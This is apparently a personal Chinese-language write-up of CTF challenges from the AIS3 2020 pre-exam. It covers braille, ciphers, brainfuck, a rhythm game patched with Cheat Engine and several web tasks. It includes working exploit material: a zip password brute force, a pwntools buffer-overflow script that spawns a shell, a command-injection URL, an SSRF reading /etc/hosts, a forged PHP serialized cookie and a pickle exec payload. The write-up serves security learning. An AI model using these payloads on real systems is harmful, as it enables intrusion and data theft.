AIS3 2020 pre-exam write-up

AIS3 2020 pre-exam write-up

今年第一次打AIS3 pre-exam,有很多第一次遇到的題目類型
稍微整理了一下我有解的題目的解題過程,歡迎大家一起討論~

Misc

Piquero

347 solves

題目

I can’t see the flag. Where is it?

File

Piquero

解法

發現圖片內容是點字,於是到網路上找找點字的相關資料,會發現大概會是這樣:

  • 表示下個字母為大寫的tag
  • 表示下個字元為數字
  • 表示下個字原為符號

    其餘的符號都是表示 字母 / 數字
    接下來對照網路上查到的table,就可以獲得flag

Flag

AIS3{I_feel_sleepy_Good_Night!!!}

Karuego

245 solves

題目

Students who fail to summon will be dropped out.

File

Karuego

解法

對於png,先到binwalk裡檢查有沒有藏檔案,發現裡面有zip

發現到zip有經過加密,可透過fcrack搭配reckyou.txt爆破

1
fcrackzip -u -D -p rockyou.txt [zipname]

最後會找到lafire

Flag

AIS3{Ar3_y0u_r34l1y_r34dy_t0_summ0n_4_D3m0n?}

Soy

172 solves

題目

Here is your flag. Oops, my bad.

File

Soy

解法

賽後解
可以利用QRazyBox幫助解題
在上面畫完後使用Tools的Extract即可

Flag

AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}

Saburo

108 solves

題目

Spell you flag and fight with me.

PS. flag is printable characters with AIS3{…}

nc 60.250.197.227 11001

解法

nc上去後發現只會問問題,給個字串後會回覆一個數字
猜測Flag前綴為AIS3{
依序放入後發現數字會是嚴格遞增的,所以我們只需要寫個腳本把所有Ascii中visible的字元都Try過
中間會出現多次誤差,可以單個字元測試3~5次以減少誤差

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
import time
final_answer = 'AIS3{'
max_num = 0
max_chr = ''
for i in range(20):
max_chr = ' '
time.sleep(1)
for j in range(32,126):
now_num = 0
for k in range(3):
r = remote('60.250.197.227', '11001')
r.recvuntil(' ')
r.sendline(final_answer+chr(j))
tmp_num = int(r.recvuntil('\n').split(b' ')[4])
if(tmp_num < max_num):
break
now_num += tmp_num
now_num = int(now_num/3)
if(now_num > max_num):
max_num = now_num
max_chr = chr(j)
print(chr(j) + ': ' + str(now_num))
r.close()
final_answer += max_chr
print('max_num: ' + str(max_num))
print('max_chr: ' + str(max_chr))
print('final: ' + final_answer)
r.interactive()

Flag

AIS3{A1r1ght_U_4r3_my_3n3nnies}

Reverse

TsaiBro

281 solves

題目

很好….你很腦殘嗎….敢這樣講刀劍神域…….我死也不會放過你 我..要..殺死…你..

File

TsaiBroSaid
TsaiBro

解法

其實一開始根本毫無頭緒(?
在網路上找資料找到去年的write-up,發現考點相同
這題是考Tap Code,在一個發財左右兩側各可以拿到一組點
這裡的點可以去透過Table對照到一個字元
而Table可以在strings TsaiBro看到這串字

裡面總共有64個點,參考剛剛發財附近的點數,最高是8個點,可以猜測會是8*8的Table
建表完直接對照就可以獲得Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
table = ['5','6','7','8','9','{','}','_',
'W','X','Y','0','y','z','A','B',
'a','b','c','d','m','n','o','p',
'S','T','U','V','G','H','I','J',
'K','L','M','N','u','v','w','x',
'e','f','g','h','q','r','s','t',
'i','j','k','l','O','P','Q','R',
'C','D','E','F','1','2','3','4']

f = open("./flag.txt","r").read().split('\n')[1]
f = f.split("發財")[1:]
for i in range(0,len(f),2):
print(table[(len(f[i])-1)*8+(len(f[i+1])-1)],end='')

Flag

AIS3{y3s_y0u_h4ve_s4w_7h1s_ch4ll3ng3_bef0r3_bu7_its_m0r3_looooooooooooooooooong_7h1s_t1m3}

Fallen Beat

171 solves

題目

CTF player,

我要挑戰你, I’m gonna challenge you!!

ZR

這是我的室友兼 lab 同學,

他已經考過金框暴龍天,他是個旋鈕人,

不像你是個敲鍵盤的,

所以我要測測你的程度到哪裡,

就用 ZR 的大一 project 來決勝負吧!!

得到 Full Combo 來讓我刮目相看!!

author: terrynini

File

Fallen_Beats

解法

可以發現到這是個幾乎不可能完成SS的音G
透過線上java decompiler decompile後可以知道,當達到MaxCombo時可以獲得Flag
雖然一開始Flag有給了一坨奇怪的東西,但是跟另一坨更怪的東西xor後,flag變得不可解
所以開始朝向玩Game發展
不過可以透過Cheat Engine幫你減速
但是譜很長,很容易失誤,所以說,CE還可以去改記憶體上的值
於是很開心的把值改成MaxCombo 1112
然後加速500倍直接結束遊戲

…然而,這不是結束

你可以透過decompile的內容得知flag是直接存在變數中,所以直接用CE找到AIS3即可

AIS3

AIS3{Wow_how_m4ny_h4nds_do_you_h4ve}

Stand up!Brain

62 solves

題目

又到了 Brain tell 咪 ㄜ joke 的時間了

這次輪到你說個笑話來聽聽了

File

joke

解法

賽後解
strings後會發現到裡面存有brain fuck
發現到執行後會失敗,因此會去重看字串
但是前面有一串連續的重複字串
刪除後就可以執行了
最後會剩下這些內容

1
>>----[---->+<]>++.++++++++.++++++++++.>-[----->+<]>.+[--->++<]>+++.>-[--->+<]>-.[---->+++++<]>-.[-->+<]>---.[--->++<]>---.++[->+++<]>.+[-->+<]>+.[--->++<]>---.++[->+++<]>.+++.[--->+<]>----.[-->+<]>-----.[->++<]>+.-[---->+++<]>.--------.>-[--->+<]>.-[----->+<]>-.++++++++.--[----->+++<]>.+++.[--->+<]>-.-[-->+<]>---.++[--->+++++<]>.++++++++++++++.+++[->+++++<]>.[----->+<]>++.>-[----->+<]>.---[->++<]>-.++++++.[--->+<]>+++.+++.[-]

Flag

AIS3{Th1s_1s_br4iNFUCK_bu7_m0r3_ez}

Pwn

BOF

189 solves

題目

That is easy-peasy challenge and even my grandma can do.

nc 60.250.197.227 10000

Challenge environment: Ubuntu 18.04

File

BOF

解法

透過IDA-Pro decompile後可以發現system("sh")
查看記憶體位置後再測試一下中間需要塞入多少bytes
可以發現本機塞入52個字元後會開始引響rip
但是在Ubuntu上似乎需要-4(這部分是猜到的)
最後寫個腳本即可

1
2
3
4
5
6
from pwn import *
r = remote('60.250.197.227', '10000')
r.recvuntil('\n')
target = p64(0x400687)
r.sendline(b'A'*48 + target)
r.interactive()

Flag

AIS3{OLd_5ChOOl_tr1ck_T0_m4Ke_s7aCk_A116nmeNt}

Crypto

Brontosaurus

380 solves

題目

Brontosaurus peek at last year’s problems with a long neck and picked up “KcufsJ”.

File

KcufsJ

解法

開啟檔案後會發現是JSFuck
但是直接拿去執行會出錯
需要先reverse字串後再執行即可

Flag

AIS3{Br0n7Os4uru5_ch3at_3asi1Y}

T-Rex

381 solves

題目

Tyrannosaurus-rex is an nihilist.

File

Prob

解法

很明顯的,只要對照Table即可
(當然,還是寫code不傷眼)

Code

1
2
3
4
5
6
7
8
9
table={'!!':'V','!@':'5','!#':'I','!$':'K','!%':'E','!&':'U','@!':'F','@@':'0','@#':'W','@$':'G','@%':'3','@&':'Z','#!':'Y','#@':'M','##':'H','#$':'B','#%':'C','#&':'8','$!':'J','$@':'2','$#':'S','$$':'X','$%':'7','$&':'R','%!':'6','%@':'9','%#':'4','%$':'T','%%':'P','%&':'D','&!':'1','&@':'L','&#':'Q','&$':'A','&%':'N','&&':'O'}

ordi = '&$ !# $# @% { %$ #! $& %# &% &% @@ $# %# !& $& !& !@ _ $& @% $$ _ @$ !# !! @% _ #! @@ !& _ $# && #@ !% %$ ## !# &% @$ _ $& &$ &% %& && #@ _ !@ %$ %& %! $$ &# !# !! &% @% ## $% !% !& @! #& && %& !% %$ %# %$ @% ## %@ @@ $% ## !& #% %! %@ &@ %! &@ %$ $# ## %# !$ &% @% !% !& $& &% %# %@ #$ !# && !& #! %! ## #$ @! #% !! $! $& @& %% @@ && #& @% @! @# #@ @@ @& !@ %@ !# !# $# $! !@ &$ $@ !! @! &# @$ &! &# $! @@ &@ !% #% #! &@ &$ @@ &$ &! !& #! !# ## %$ !# !# %$ &! !# @# ## @@ $! $$ %# %$ @% @& $! &! !$ $# #$ $& #@ %@ @$ !% %& %! @% #% $! !! #$ &# ## &# && $& !! !% $! @& !% &@ !& $! @# !@ !& @$ $% #& #$ %@ %% %% &! $# !# $& #@ &! !# @! !@ @@ @@ ## !@ $@ !& $# %& %% !# !! $& !$ $% !! @$ @& !& &@ #$ && @% $& $& !% &! && &@ &% @$ &% &$ &@ $$ }'
format_ordi = ordi.split()
for i in format_ordi:
if(i=='{' or i=='}' or i=='_'):
print(i,end='')
else:
print(table[i],end='')

Flag

AIS3{TYR4NN0S4URU5_R3X_GIV3_Y0U_SOMETHING_RANDOM_5TD6XQIVN3H7EUF8ODET4T3H907HUC69L6LTSH4KN3EURN49BIOUY6HBFCVJRZP0O83FWM0Z59IISJ5A2VFQG1QJ0LECYLA0A1UYIHTIIT1IWH0JX4T3ZJ1KSBRM9GED63CJVBQHQORVEJZELUJW5UG78B9PP1SIRM1IF500H52USDPIVRK7VGZULBO3RRE1OLNGNALX}

Octopus

103 solves

題目

BB84 quantum key distribution has 8 main directions,

just like a cute octopus A __ A.

File

output
prob.py

解法

先參照維基百科了解BB84如何加密
題目中已經給好Basis
我們只要參照Table就可以分別對應出其箭號方向(Basis需相同),進而找到是0/1

最終檔案中最後一筆資料與結果分別轉binary後xor轉字串即可

Flag

AIS3{EveryONe_kn0w_Quan7um_k3Y_Distr1but1on--BB84}

Web

Squirrel

220 solves

題目

Hack those creepy rats.

https://squirrel.ais3.org/

解法

從scource code可以發現到我們可以訪問目錄中的檔案

先去看看api.php
會發現到裡面有exec,可以猜測這裡會出漏洞

先閉合,再輸入指令就可以了

https://squirrel.ais3.org/api.php?get=';ls /‘
檔案可以先從當前目錄找,如果沒有,可以猜是在根目錄或是find猜猜看檔案名稱

Flag

AIS3{5qu1rr3l_15_4_k1nd_0f_b16_r47}

Shark

261 solves

題目

Let’s dive deep again this year.

https://shark.ais3.org/

解法

一開始不知道這題要做什麼
於是到網路上找到去年的write-up,發現倒是在網址後面path造成的SSRF漏洞
可以先到https://shark.ais3.org/?path=php://filter/resource=/etc/hosts 獲取ip
根據題目,flag藏在附近的server上,所以可以從1開始慢慢手動找
最終可以在https://shark.ais3.org/?path=http://172.22.0.2/flag 獲得flag

Flag

AIS3{5h4rk5_d0n'7_5w1m_b4ckw4rd5}

Elephant

165 solves

題目

Do elephants love cookies?

https://elephant.ais3.org/

IMPORTANT

There's a hint in the webpage

解法

在cookie裡面可以看到一個elephant_user,將值base64 decode後會發現是php序列化後的資料格式
但是由於不知道底層是將甚麼class序列化,目前還用不上它
由於沒有其他資訊了,想到最初web學到的知識
開始搜尋 /robots.txt, /.git, /.svn
發現到/.git有githack漏洞
在網路上找到githack工具直接獲得網頁原始碼

透過原始碼可以發現到token會經過md5加密
而要獲取flag需要在strcmp($flag, $this->token)==0才能獲得
顯然token需要是特殊值才能破解它
發現到token是NAN可以解
於是將class複製後將__construct中關於token的部分註解
再將class serialize base64_encode
將cookie複寫即可

flag

AIS3{0nly_3l3ph4n75_5h0uld_0wn_1v0ry}

Snake

137 solves

題目

How to read that flag?

https://snake.ais3.org/

解法

打開後會看到一個python檔,且可以接收pickle data
如果要符合 data is not data 理論上不可能
除非寫一個function讓他可以每次詢問與上次相反
但是pickle中能寫入的內容會是靜態的,function沒辦法寫入
所以我們目標會是後面的 return str(data) ,只要data是flag就可以了

1
2
3
4
5
6
7
8
9
import pickle
import base64
import os
class test():
def __reduce__(self):
return (exec,('globals()[\'str\']=lambda data : open(\'/flag\').read()',))

print(base64.b64encode(pickle.dumps(test())))
data = (pickle.loads(pickle.dumps(test())))

最後將pickle檔案放上去即可!

Flag

AIS3{7h3_5n4k3_w1ll_4lw4y5_b173_b4ck.}

心得

第一次打AIS3 pre-exam,收穫意外的多
尤其在web部分花了特別多的心力在上面,也藉此學到像是 phpserialize 和 python的pickle data
Crypto很多都是參考去年的write-up 自己腦洞大開解出來的並不多
Pwn是我很不熟悉的領域,所以碰的題目不多
Reverse印象最深刻的是音遊w,第一次用cheat engine XDD
不過那題的正解似乎是先返組譯java後trace code找到flag如何產生
整體難度個人覺得中偏難w
這次的排名在第96,明年繼續加油OwO